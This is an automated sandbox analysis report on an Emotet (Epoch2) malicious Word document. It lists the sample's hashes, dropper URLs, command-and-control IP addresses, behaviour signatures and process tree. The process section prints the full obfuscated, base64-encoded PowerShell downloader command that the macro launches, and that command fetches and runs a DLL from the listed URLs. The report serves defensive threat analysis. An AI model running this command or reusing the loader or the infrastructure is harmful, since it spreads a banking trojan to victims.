Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    126s
  • max time network
    145s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    22/12/2020, 13:32

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_d314d90e4d1d49a5c8c82aa438c7c5c4be663a4f68879244a87adfffe358f8b0_2020-12-22__132852976058._doc.doc
  • Size 205KB
  • Sample201222-7e8ad2mys2
  • SHA256 d314d90e4d1d49a5c8c82aa438c7c5c4be663a4f68879244a87adfffe358f8b0
  • MD5 SHA1 SHA512
Score
10/10
emotetepoch2bankertrojan

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://game.vlexor.com/links14/WUSs/
  • exe.dropper

    https://bienhoacitysq.com/wp-content/xYp/
  • exe.dropper

    https://dive-hoian.com/_file-manager/sO/
  • exe.dropper

    https://dreamwithdell.com/wp-includes/pX/
  • exe.dropper

    https://pinkista.net/wp-includes/B/
  • exe.dropper

    https://legion.com.pk/__MACOSX/pT3h/
  • exe.dropper

    http://imkol.hk/photo_search/3kc/

Extracted

Family

  • emotet

Botnet

  • Epoch2

C2

  • 197.87.160.216:80

  • 78.188.225.105:80

  • 50.116.111.59:8080

  • 173.249.20.233:443

  • 188.165.214.98:8080

  • 188.219.31.12:80

  • 157.245.99.39:8080

  • 172.125.40.123:80

  • 62.30.7.67:443

  • 120.150.60.189:80

  • 109.74.5.95:8080

  • 67.10.155.92:80

  • 67.170.250.203:443

  • 2.58.16.89:8080

  • 186.74.215.34:80

  • 202.141.243.254:443

  • 118.83.154.64:443

  • 172.86.188.251:8080

  • 37.187.72.193:8080

  • 87.106.139.101:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 8 IoCs
  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
    adwarespyware
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_d314d90e4d1d49a5c8c82aa438c7c5c4be663a4f68879244a87adfffe358f8b0_2020-12-22__132852976058._doc.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1680
  • C:\Windows\system32\cmd.exe
    cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAkAHIAMwAxAD0AIAAgAFsAdABZAFAAZQBdACgAIgB7ADIAfQB7ADAAfQB7ADMAfQB7ADEAfQAiAC0ARgAnAHMAVAAnACwAJwBUAE8AUgB5ACcALAAnAFMAWQAnACwAJwBFAG0ALgBpAE8ALgBkAGkAUgBlAEMAJwApADsAUwBFAFQALQBJAHQAZQBtACAAdgBBAFIAaQBBAEIAbABlADoAUgBpADkAMgBXAEgAIAAoAFsAVABZAHAARQBdACgAIgB7ADEAfQB7ADcAfQB7ADMAfQB7ADgAfQB7ADAAfQB7ADIAfQB7ADUAfQB7ADQAfQB7ADYAfQAiACAALQBGACAAJwBlAHIAJwAsACcAUwB5AHMAVAAnACwAJwB2AEkAYwBFACcALAAnAEUAVAAuACcALAAnAGkAbgB0ACcALAAnAHAAbwAnACwAJwBtAEEAbgBBAGcAZQByACcALAAnAGUAbQAuAG4AJwAsACcAUwAnACkAIAApADsAIAAgACQAQgAxAGcAcwBrAGQAawA9ACgAJwBSACcAKwAoACcAdABpAGMAJwArACcAbQAyACcAKQArACcAZQAnACkAOwAkAFgAMgBlADkAbwBnADEAPQAkAFMAYgB0AHgAMwBiADEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFYAcAAyAHMAeABsADgAOwAkAEYAMgA4AHoAYQBoAGIAPQAoACcASgByACcAKwAoACcAMwBtACcAKwAnAG8AMQAnACkAKwAnAHMAJwApADsAIAAkAHIAMwAxADoAOgAiAGMAcgBlAGAAQQB0AGUAZABgAEkAUgBgAGUAYwB0AE8AcgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBzACcAKwAnAEYANwBFACcAKQArACgAJwB5AGMAcQA2ACcAKwAnAHcAJwArACcANABzACcAKQArACcARgAnACsAKAAnADcARABfAGQAbwB1ACcAKwAnAHcAJwArACcAdABzACcAKQArACcARgA3ACcAKQAuACIAcgBlAFAAYABMAGEAQwBFACIAKAAoACcAcwAnACsAJwBGADcAJwApACwAJwBcACcAKQApACkAOwAkAFcANgB5AHMAYwA4AHgAPQAoACgAJwBaAHoAJwArACcAeQA3ACcAKQArACcAbgAnACsAJwAzADAAJwApADsAIAAoACAARwBlAFQALQBWAEEAUgBpAEEAYgBMAGUAIAAgAFIASQA5ADIAVwBoACkALgBWAEEAbAB1AGUAOgA6ACIAcwBgAEUAYwB1AHIAYABJAHQAeQBgAHAAUgBPAHQATwBjAE8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAUQA4ADcAdgA2AHAAaQA9ACgAJwBaAHEAJwArACgAJwBqAGwAJwArACcAagBvAGQAJwApACkAOwAkAEMAeABpADYAcwAyAHoAIAA9ACAAKAAoACcAWABtACcAKwAnAHgAJwApACsAJwA0AHgAJwArACcAbwAnACkAOwAkAEgAZQA3ADEAbAB0AGcAPQAoACgAJwBQAHMAbwAnACsAJwB6ACcAKQArACgAJwByADYAJwArACcAOAAnACkAKQA7ACQATAB3AGYAdAB4AHgAbAA9ACgAKAAnAFAAJwArACcAdwB1ACcAKQArACgAJwAwAGEAZgAnACsAJwBnACcAKQApADsAJABMAHAAbwAxAGwANgByAD0AJABIAE8ATQBFACsAKAAoACgAJwA3AFIAdQBFACcAKwAnAHkAJwApACsAKAAnAGMAJwArACcAcQA2AHcANAA3AFIAJwArACcAdQBEACcAKQArACcAXwAnACsAJwBkACcAKwAoACcAbwB1AHcAdAAnACsAJwA3AFIAdQAnACkAKQAuACIAUgBFAHAAYABsAEEAYwBFACIAKAAoACcANwBSACcAKwAnAHUAJwApACwAWwBzAHQAUgBJAE4ARwBdAFsAQwBIAGEAUgBdADkAMgApACkAKwAkAEMAeABpADYAcwAyAHoAKwAoACgAJwAuAGQAJwArACcAbAAnACkAKwAnAGwAJwApADsAJABHAHkAdgByAF8AMQA5AD0AKAAoACcAVgAxAHkAJwArACcANAAnACkAKwAnADcAMQAnACsAJwB3ACcAKQA7ACQARwA0AHMAdQA1ADAAbAA9AE4AZQBXAGAALQBgAG8AQgBKAEUAYABDAFQAIABuAEUAdAAuAHcAZQBiAGMATABJAEUATgB0ADsAJABGAHQAawBqAGYAdAA5AD0AKAAoACcAaAB0ACcAKwAoACcAdABwACcAKwAnAHMAOgBxACcAKwAnAHEAJwApACsAKAAoACcAKQAoACcAKwAnAHMAMgApACgAcQAnACkAKQArACgAKAAnAHEAKQAoAHMAJwArACcAMgAnACkAKQArACcAKQAnACsAJwAoACcAKwAoACcAZwBhACcAKwAnAG0AZQAnACkAKwAoACcALgAnACsAJwB2AGwAJwApACsAJwBlACcAKwAnAHgAJwArACgAKAAnAG8AcgAuAGMAbwBtAHEAcQAnACsAJwApACcAKQApACsAKAAoACcAKABzACcAKwAnADIAKQAoAGwAaQAnACsAJwBuAGsAJwApACkAKwAnAHMAMQAnACsAKAAnADQAJwArACcAcQBxACcAKQArACgAKAAnACkAJwArACcAKABzADIAJwApACkAKwAnACkAJwArACcAKAAnACsAJwBXAFUAJwArACgAJwBTACcAKwAnAHMAcQAnACkAKwAnAHEAJwArACgAKAAnACkAKABzADIAJwArACcAKQAoACcAKwAnAEAAaAAnACkAKQArACgAKAAnAHQAdABwACcAKwAnAHMAOgBxAHEAKQAnACkAKQArACgAJwAoAHMAMgAnACsAJwApACcAKQArACgAKAAnACgAJwArACcAcQBxACkAKAAnACkAKQArACgAKAAnAHMAMgApACgAJwArACcAYgAnACkAKQArACcAaQAnACsAKAAnAGUAbgAnACsAJwBoACcAKQArACgAJwBvAGEAYwBpACcAKwAnAHQAeQBzACcAKwAnAHEAJwArACcALgBjACcAKQArACgAJwBvAG0AJwArACcAcQAnACkAKwAoACgAJwBxACkAKAAnACsAJwBzADIAJwApACkAKwAoACgAJwApACgAdwAnACsAJwBwAC0AJwApACkAKwAoACcAYwBvAG4AJwArACcAdAAnACsAJwBlAG4AdABxAHEAJwApACsAKAAoACcAKQAnACsAJwAoAHMAJwApACkAKwAoACgAJwAyACkAJwApACkAKwAoACgAJwAoAHgAJwApACkAKwAnAFkAJwArACcAcAAnACsAKAAoACcAcQBxACcAKwAnACkAJwArACcAKABzADIAKQAoACcAKQApACsAJwBAACcAKwAoACgAJwBoACcAKwAnAHQAdABwAHMAJwArACcAOgBxAHEAKQAoAHMAMgAnACsAJwApACgAcQAnACsAJwBxACkAKABzADIAKQAoAGQAaQB2ACcAKQApACsAJwBlAC0AJwArACgAJwBoACcAKwAnAG8AaQBhACcAKwAnAG4AJwArACcALgBjAG8AbQAnACkAKwAnAHEAJwArACgAKAAnAHEAKQAnACsAJwAoACcAKQApACsAKAAoACcAcwAyACcAKwAnACkAJwApACkAKwAoACgAJwAoAF8AZgBpAGwAZQAtACcAKwAnAG0AYQAnACsAJwBuAGEAZwBlACcAKwAnAHIAcQAnACkAKQArACcAcQAnACsAKAAoACcAKQAoACcAKwAnAHMAJwArACcAMgApACgAcwBPACcAKQApACsAKAAoACcAcQBxACkAJwArACcAKABzADIAKQAnACkAKQArACgAKAAnACgAQABoAHQAdAAnACsAJwBwAHMAJwApACkAKwAoACgAJwA6AHEAJwArACcAcQApACgAJwArACcAcwAyACcAKQApACsAKAAoACcAKQAoACcAKwAnAHEAcQApACgAJwArACcAcwAyACkAJwArACcAKABkACcAKQApACsAKAAnAHIAJwArACcAZQBhAG0AdwBpACcAKwAnAHQAJwArACcAaABkACcAKQArACgAJwBlAGwAJwArACcAbAAnACkAKwAnAC4AJwArACgAJwBjAG8AbQAnACsAJwBxACcAKQArACgAKAAnAHEAKQAnACkAKQArACgAKAAnACgAcwAnACsAJwAyACkAKAAnACkAKQArACgAJwB3ACcAKwAnAHAALQBpACcAKQArACgAKAAnAG4AYwBsAHUAZAAnACsAJwBlAHMAcQAnACsAJwBxACkAKAAnACkAKQArACgAKAAnAHMAMgAnACsAJwApACcAKQApACsAKAAoACcAKABwACcAKQApACsAJwBYAHEAJwArACgAKAAnAHEAKQAoACcAKwAnAHMAMgApACgAQABoACcAKwAnAHQAdAAnACkAKQArACgAJwBwAHMAJwArACcAOgBxACcAKQArACcAcQAnACsAJwApACcAKwAoACgAJwAoAHMAJwApACkAKwAoACgAJwAyACkAKABxAHEAKQAnACsAJwAoAHMAJwApACkAKwAoACgAJwAyACkAJwArACcAKABwAGkAbgAnACsAJwBrACcAKwAnAGkAcwAnACkAKQArACgAJwB0AGEAJwArACcALgAnACsAJwBuAGUAdAAnACkAKwAoACgAJwBxAHEAKQAoACcAKwAnAHMAMgApACgAJwApACkAKwAnAHcAcAAnACsAKAAnAC0AJwArACcAaQBuACcAKQArACgAJwBjAGwAJwArACcAdQBkAGUAJwArACcAcwBxACcAKQArACcAcQAnACsAKAAoACcAKQAoACcAKQApACsAJwBzADIAJwArACgAKAAnACkAKAAnACsAJwBCAHEAJwApACkAKwAnAHEAJwArACgAKAAnACkAKABzADIAKQAnACsAJwAoAEAAJwApACkAKwAnAGgAdAAnACsAKAAnAHQAJwArACcAcABzADoAcQAnACsAJwBxACcAKQArACcAKQAnACsAKAAoACcAKAAnACsAJwBzADIAKQAoACcAKQApACsAJwBxAHEAJwArACcAKQAnACsAJwAoACcAKwAoACgAJwBzADIAJwArACcAKQAnACkAKQArACgAKAAnACgAbAAnACkAKQArACgAJwBlACcAKwAnAGcAaQBvAG4AJwArACcALgAnACkAKwAnAGMAJwArACcAbwAnACsAKAAnAG0ALgAnACsAJwBwACcAKQArACgAKAAnAGsAcQBxACcAKwAnACkAJwApACkAKwAoACgAJwAoAHMAJwApACkAKwAnADIAJwArACgAKAAnACkAKAAnACkAKQArACgAJwBfACcAKwAnAF8ATQBBAEMATwAnACsAJwBTACcAKQArACgAKAAnAFgAcQBxACkAJwArACcAKAAnACkAKQArACgAKAAnAHMAMgAnACsAJwApACgAJwApACkAKwAoACgAJwBwACcAKwAnAFQAMwBoAHEAcQApACcAKQApACsAJwAoACcAKwAoACgAJwBzADIAJwArACcAKQAoAEAAJwApACkAKwAoACgAJwBoAHQAdABwADoAcQAnACsAJwBxACkAJwArACcAKAAnACkAKQArACcAcwAyACcAKwAoACgAJwApACgAJwApACkAKwAnAHEAcQAnACsAKAAoACcAKQAnACsAJwAoAHMAJwApACkAKwAoACgAJwAyACkAJwArACcAKAAnACkAKQArACgAJwBpAG0AawAnACsAJwBvACcAKQArACgAKAAnAGwAJwArACcALgBoACcAKwAnAGsAcQBxACkAJwArACcAKABzADIAKQAoAHAAaAAnACkAKQArACgAJwBvACcAKwAnAHQAbwBfACcAKQArACcAcwBlACcAKwAoACgAJwBhAHIAYwAnACsAJwBoAHEAcQApACcAKQApACsAJwAoACcAKwAoACgAJwBzACcAKwAnADIAKQAnACkAKQArACcAKAAnACsAJwAzAGsAJwArACcAYwAnACsAKAAoACcAcQBxACkAKAAnACsAJwBzACcAKQApACsAJwAyACcAKwAnACkAJwArACcAKAAnACkAKQAuACIAUgBFAHAAYABsAGAAQQBjAGUAIgAoACgAKAAoACgAJwBxAHEAKQAnACsAJwAoAHMAJwApACkAKwAoACgAJwAyACcAKwAnACkAKAAnACkAKQApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAJwArACcAdwBlACcAKQApAFsAMABdACkALgAiAFMAUABgAEwASQBUACIAKAAkAEEANABnAGcAcgA3AHcAIAArACAAJABYADIAZQA5AG8AZwAxACAAKwAgACQAVQBlAGUAMQBfAGgAMQApADsAJABJAHgAcQA1AGoAcAB1AD0AKAAoACcAUwBnACcAKwAnAHoAOQBfACcAKQArACcAcwA2ACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQASgBuAF8AZQA1AHEAegAgAGkAbgAgACQARgB0AGsAagBmAHQAOQAgAHwAIABTAGAAbwBgAFIAVAAtAGAAbwBCAGoAYABFAEMAVAAgAHsAZwBlAFQAYAAtAFIAYABBAG4AZABPAE0AfQApAHsAdAByAHkAewAkAEcANABzAHUANQAwAGwALgAiAGQAYABPAGAAdwBOAEwATwBhAGAARABmAGkAbABFACIAKAAkAEoAbgBfAGUANQBxAHoALAAgACQATABwAG8AMQBsADYAcgApADsAJABaAGsAOQBoAF8AYQBrAD0AKAAoACcAQgA4ACcAKwAnAHoAJwApACsAKAAnADYAdgBoACcAKwAnAGEAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQATABwAG8AMQBsADYAcgApAC4AIgBsAGAAZQBgAE4ARwB0AGgAIgAgAC0AZwBlACAANAAyADEAOQAwACkAIAB7AC4AKAAnAHIAdQBuAGQAbABsADMAJwArACcAMgAnACkAIAAkAEwAcABvADEAbAA2AHIALAAnACMAMQAnAC4AIgBUAG8AYABTAHQAUgBJAE4ARwAiACgAKQA7ACQARgBzAGoAawA0AGEAdwA9ACgAJwBMAHIAJwArACgAJwBrACcAKwAnAGcAegAnACkAKwAnAHkAawAnACkAOwBiAHIAZQBhAGsAOwAkAEcAMgB6AGoAdAByAGwAPQAoACgAJwBCADMAbgAnACsAJwAxACcAKQArACcAMQBmACcAKwAnAHMAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABDADkANABhAHcAdgBnAD0AKAAnAEkAJwArACgAJwAwAHUAJwArACcAdABhAGgAbgAnACkAKQA=
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:1412
    • C:\Windows\system32\msg.exe
      msg Admin /v Word experienced an error trying to open the file.
      2⤵
        PID:1652
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        POwersheLL -w hidden -ENCOD IAAkAHIAMwAxAD0AIAAgAFsAdABZAFAAZQBdACgAIgB7ADIAfQB7ADAAfQB7ADMAfQB7ADEAfQAiAC0ARgAnAHMAVAAnACwAJwBUAE8AUgB5ACcALAAnAFMAWQAnACwAJwBFAG0ALgBpAE8ALgBkAGkAUgBlAEMAJwApADsAUwBFAFQALQBJAHQAZQBtACAAdgBBAFIAaQBBAEIAbABlADoAUgBpADkAMgBXAEgAIAAoAFsAVABZAHAARQBdACgAIgB7ADEAfQB7ADcAfQB7ADMAfQB7ADgAfQB7ADAAfQB7ADIAfQB7ADUAfQB7ADQAfQB7ADYAfQAiACAALQBGACAAJwBlAHIAJwAsACcAUwB5AHMAVAAnACwAJwB2AEkAYwBFACcALAAnAEUAVAAuACcALAAnAGkAbgB0ACcALAAnAHAAbwAnACwAJwBtAEEAbgBBAGcAZQByACcALAAnAGUAbQAuAG4AJwAsACcAUwAnACkAIAApADsAIAAgACQAQgAxAGcAcwBrAGQAawA9ACgAJwBSACcAKwAoACcAdABpAGMAJwArACcAbQAyACcAKQArACcAZQAnACkAOwAkAFgAMgBlADkAbwBnADEAPQAkAFMAYgB0AHgAMwBiADEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFYAcAAyAHMAeABsADgAOwAkAEYAMgA4AHoAYQBoAGIAPQAoACcASgByACcAKwAoACcAMwBtACcAKwAnAG8AMQAnACkAKwAnAHMAJwApADsAIAAkAHIAMwAxADoAOgAiAGMAcgBlAGAAQQB0AGUAZABgAEkAUgBgAGUAYwB0AE8AcgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBzACcAKwAnAEYANwBFACcAKQArACgAJwB5AGMAcQA2ACcAKwAnAHcAJwArACcANABzACcAKQArACcARgAnACsAKAAnADcARABfAGQAbwB1ACcAKwAnAHcAJwArACcAdABzACcAKQArACcARgA3ACcAKQAuACIAcgBlAFAAYABMAGEAQwBFACIAKAAoACcAcwAnACsAJwBGADcAJwApACwAJwBcACcAKQApACkAOwAkAFcANgB5AHMAYwA4AHgAPQAoACgAJwBaAHoAJwArACcAeQA3ACcAKQArACcAbgAnACsAJwAzADAAJwApADsAIAAoACAARwBlAFQALQBWAEEAUgBpAEEAYgBMAGUAIAAgAFIASQA5ADIAVwBoACkALgBWAEEAbAB1AGUAOgA6ACIAcwBgAEUAYwB1AHIAYABJAHQAeQBgAHAAUgBPAHQATwBjAE8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAUQA4ADcAdgA2AHAAaQA9ACgAJwBaAHEAJwArACgAJwBqAGwAJwArACcAagBvAGQAJwApACkAOwAkAEMAeABpADYAcwAyAHoAIAA9ACAAKAAoACcAWABtACcAKwAnAHgAJwApACsAJwA0AHgAJwArACcAbwAnACkAOwAkAEgAZQA3ADEAbAB0AGcAPQAoACgAJwBQAHMAbwAnACsAJwB6ACcAKQArACgAJwByADYAJwArACcAOAAnACkAKQA7ACQATAB3AGYAdAB4AHgAbAA9ACgAKAAnAFAAJwArACcAdwB1ACcAKQArACgAJwAwAGEAZgAnACsAJwBnACcAKQApADsAJABMAHAAbwAxAGwANgByAD0AJABIAE8ATQBFACsAKAAoACgAJwA3AFIAdQBFACcAKwAnAHkAJwApACsAKAAnAGMAJwArACcAcQA2AHcANAA3AFIAJwArACcAdQBEACcAKQArACcAXwAnACsAJwBkACcAKwAoACcAbwB1AHcAdAAnACsAJwA3AFIAdQAnACkAKQAuACIAUgBFAHAAYABsAEEAYwBFACIAKAAoACcANwBSACcAKwAnAHUAJwApACwAWwBzAHQAUgBJAE4ARwBdAFsAQwBIAGEAUgBdADkAMgApACkAKwAkAEMAeABpADYAcwAyAHoAKwAoACgAJwAuAGQAJwArACcAbAAnACkAKwAnAGwAJwApADsAJABHAHkAdgByAF8AMQA5AD0AKAAoACcAVgAxAHkAJwArACcANAAnACkAKwAnADcAMQAnACsAJwB3ACcAKQA7ACQARwA0AHMAdQA1ADAAbAA9AE4AZQBXAGAALQBgAG8AQgBKAEUAYABDAFQAIABuAEUAdAAuAHcAZQBiAGMATABJAEUATgB0ADsAJABGAHQAawBqAGYAdAA5AD0AKAAoACcAaAB0ACcAKwAoACcAdABwACcAKwAnAHMAOgBxACcAKwAnAHEAJwApACsAKAAoACcAKQAoACcAKwAnAHMAMgApACgAcQAnACkAKQArACgAKAAnAHEAKQAoAHMAJwArACcAMgAnACkAKQArACcAKQAnACsAJwAoACcAKwAoACcAZwBhACcAKwAnAG0AZQAnACkAKwAoACcALgAnACsAJwB2AGwAJwApACsAJwBlACcAKwAnAHgAJwArACgAKAAnAG8AcgAuAGMAbwBtAHEAcQAnACsAJwApACcAKQApACsAKAAoACcAKABzACcAKwAnADIAKQAoAGwAaQAnACsAJwBuAGsAJwApACkAKwAnAHMAMQAnACsAKAAnADQAJwArACcAcQBxACcAKQArACgAKAAnACkAJwArACcAKABzADIAJwApACkAKwAnACkAJwArACcAKAAnACsAJwBXAFUAJwArACgAJwBTACcAKwAnAHMAcQAnACkAKwAnAHEAJwArACgAKAAnACkAKABzADIAJwArACcAKQAoACcAKwAnAEAAaAAnACkAKQArACgAKAAnAHQAdABwACcAKwAnAHMAOgBxAHEAKQAnACkAKQArACgAJwAoAHMAMgAnACsAJwApACcAKQArACgAKAAnACgAJwArACcAcQBxACkAKAAnACkAKQArACgAKAAnAHMAMgApACgAJwArACcAYgAnACkAKQArACcAaQAnACsAKAAnAGUAbgAnACsAJwBoACcAKQArACgAJwBvAGEAYwBpACcAKwAnAHQAeQBzACcAKwAnAHEAJwArACcALgBjACcAKQArACgAJwBvAG0AJwArACcAcQAnACkAKwAoACgAJwBxACkAKAAnACsAJwBzADIAJwApACkAKwAoACgAJwApACgAdwAnACsAJwBwAC0AJwApACkAKwAoACcAYwBvAG4AJwArACcAdAAnACsAJwBlAG4AdABxAHEAJwApACsAKAAoACcAKQAnACsAJwAoAHMAJwApACkAKwAoACgAJwAyACkAJwApACkAKwAoACgAJwAoAHgAJwApACkAKwAnAFkAJwArACcAcAAnACsAKAAoACcAcQBxACcAKwAnACkAJwArACcAKABzADIAKQAoACcAKQApACsAJwBAACcAKwAoACgAJwBoACcAKwAnAHQAdABwAHMAJwArACcAOgBxAHEAKQAoAHMAMgAnACsAJwApACgAcQAnACsAJwBxACkAKABzADIAKQAoAGQAaQB2ACcAKQApACsAJwBlAC0AJwArACgAJwBoACcAKwAnAG8AaQBhACcAKwAnAG4AJwArACcALgBjAG8AbQAnACkAKwAnAHEAJwArACgAKAAnAHEAKQAnACsAJwAoACcAKQApACsAKAAoACcAcwAyACcAKwAnACkAJwApACkAKwAoACgAJwAoAF8AZgBpAGwAZQAtACcAKwAnAG0AYQAnACsAJwBuAGEAZwBlACcAKwAnAHIAcQAnACkAKQArACcAcQAnACsAKAAoACcAKQAoACcAKwAnAHMAJwArACcAMgApACgAcwBPACcAKQApACsAKAAoACcAcQBxACkAJwArACcAKABzADIAKQAnACkAKQArACgAKAAnACgAQABoAHQAdAAnACsAJwBwAHMAJwApACkAKwAoACgAJwA6AHEAJwArACcAcQApACgAJwArACcAcwAyACcAKQApACsAKAAoACcAKQAoACcAKwAnAHEAcQApACgAJwArACcAcwAyACkAJwArACcAKABkACcAKQApACsAKAAnAHIAJwArACcAZQBhAG0AdwBpACcAKwAnAHQAJwArACcAaABkACcAKQArACgAJwBlAGwAJwArACcAbAAnACkAKwAnAC4AJwArACgAJwBjAG8AbQAnACsAJwBxACcAKQArACgAKAAnAHEAKQAnACkAKQArACgAKAAnACgAcwAnACsAJwAyACkAKAAnACkAKQArACgAJwB3ACcAKwAnAHAALQBpACcAKQArACgAKAAnAG4AYwBsAHUAZAAnACsAJwBlAHMAcQAnACsAJwBxACkAKAAnACkAKQArACgAKAAnAHMAMgAnACsAJwApACcAKQApACsAKAAoACcAKABwACcAKQApACsAJwBYAHEAJwArACgAKAAnAHEAKQAoACcAKwAnAHMAMgApACgAQABoACcAKwAnAHQAdAAnACkAKQArACgAJwBwAHMAJwArACcAOgBxACcAKQArACcAcQAnACsAJwApACcAKwAoACgAJwAoAHMAJwApACkAKwAoACgAJwAyACkAKABxAHEAKQAnACsAJwAoAHMAJwApACkAKwAoACgAJwAyACkAJwArACcAKABwAGkAbgAnACsAJwBrACcAKwAnAGkAcwAnACkAKQArACgAJwB0AGEAJwArACcALgAnACsAJwBuAGUAdAAnACkAKwAoACgAJwBxAHEAKQAoACcAKwAnAHMAMgApACgAJwApACkAKwAnAHcAcAAnACsAKAAnAC0AJwArACcAaQBuACcAKQArACgAJwBjAGwAJwArACcAdQBkAGUAJwArACcAcwBxACcAKQArACcAcQAnACsAKAAoACcAKQAoACcAKQApACsAJwBzADIAJwArACgAKAAnACkAKAAnACsAJwBCAHEAJwApACkAKwAnAHEAJwArACgAKAAnACkAKABzADIAKQAnACsAJwAoAEAAJwApACkAKwAnAGgAdAAnACsAKAAnAHQAJwArACcAcABzADoAcQAnACsAJwBxACcAKQArACcAKQAnACsAKAAoACcAKAAnACsAJwBzADIAKQAoACcAKQApACsAJwBxAHEAJwArACcAKQAnACsAJwAoACcAKwAoACgAJwBzADIAJwArACcAKQAnACkAKQArACgAKAAnACgAbAAnACkAKQArACgAJwBlACcAKwAnAGcAaQBvAG4AJwArACcALgAnACkAKwAnAGMAJwArACcAbwAnACsAKAAnAG0ALgAnACsAJwBwACcAKQArACgAKAAnAGsAcQBxACcAKwAnACkAJwApACkAKwAoACgAJwAoAHMAJwApACkAKwAnADIAJwArACgAKAAnACkAKAAnACkAKQArACgAJwBfACcAKwAnAF8ATQBBAEMATwAnACsAJwBTACcAKQArACgAKAAnAFgAcQBxACkAJwArACcAKAAnACkAKQArACgAKAAnAHMAMgAnACsAJwApACgAJwApACkAKwAoACgAJwBwACcAKwAnAFQAMwBoAHEAcQApACcAKQApACsAJwAoACcAKwAoACgAJwBzADIAJwArACcAKQAoAEAAJwApACkAKwAoACgAJwBoAHQAdABwADoAcQAnACsAJwBxACkAJwArACcAKAAnACkAKQArACcAcwAyACcAKwAoACgAJwApACgAJwApACkAKwAnAHEAcQAnACsAKAAoACcAKQAnACsAJwAoAHMAJwApACkAKwAoACgAJwAyACkAJwArACcAKAAnACkAKQArACgAJwBpAG0AawAnACsAJwBvACcAKQArACgAKAAnAGwAJwArACcALgBoACcAKwAnAGsAcQBxACkAJwArACcAKABzADIAKQAoAHAAaAAnACkAKQArACgAJwBvACcAKwAnAHQAbwBfACcAKQArACcAcwBlACcAKwAoACgAJwBhAHIAYwAnACsAJwBoAHEAcQApACcAKQApACsAJwAoACcAKwAoACgAJwBzACcAKwAnADIAKQAnACkAKQArACcAKAAnACsAJwAzAGsAJwArACcAYwAnACsAKAAoACcAcQBxACkAKAAnACsAJwBzACcAKQApACsAJwAyACcAKwAnACkAJwArACcAKAAnACkAKQAuACIAUgBFAHAAYABsAGAAQQBjAGUAIgAoACgAKAAoACgAJwBxAHEAKQAnACsAJwAoAHMAJwApACkAKwAoACgAJwAyACcAKwAnACkAKAAnACkAKQApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAJwArACcAdwBlACcAKQApAFsAMABdACkALgAiAFMAUABgAEwASQBUACIAKAAkAEEANABnAGcAcgA3AHcAIAArACAAJABYADIAZQA5AG8AZwAxACAAKwAgACQAVQBlAGUAMQBfAGgAMQApADsAJABJAHgAcQA1AGoAcAB1AD0AKAAoACcAUwBnACcAKwAnAHoAOQBfACcAKQArACcAcwA2ACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQASgBuAF8AZQA1AHEAegAgAGkAbgAgACQARgB0AGsAagBmAHQAOQAgAHwAIABTAGAAbwBgAFIAVAAtAGAAbwBCAGoAYABFAEMAVAAgAHsAZwBlAFQAYAAtAFIAYABBAG4AZABPAE0AfQApAHsAdAByAHkAewAkAEcANABzAHUANQAwAGwALgAiAGQAYABPAGAAdwBOAEwATwBhAGAARABmAGkAbABFACIAKAAkAEoAbgBfAGUANQBxAHoALAAgACQATABwAG8AMQBsADYAcgApADsAJABaAGsAOQBoAF8AYQBrAD0AKAAoACcAQgA4ACcAKwAnAHoAJwApACsAKAAnADYAdgBoACcAKwAnAGEAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQATABwAG8AMQBsADYAcgApAC4AIgBsAGAAZQBgAE4ARwB0AGgAIgAgAC0AZwBlACAANAAyADEAOQAwACkAIAB7AC4AKAAnAHIAdQBuAGQAbABsADMAJwArACcAMgAnACkAIAAkAEwAcABvADEAbAA2AHIALAAnACMAMQAnAC4AIgBUAG8AYABTAHQAUgBJAE4ARwAiACgAKQA7ACQARgBzAGoAawA0AGEAdwA9ACgAJwBMAHIAJwArACgAJwBrACcAKwAnAGcAegAnACkAKwAnAHkAawAnACkAOwBiAHIAZQBhA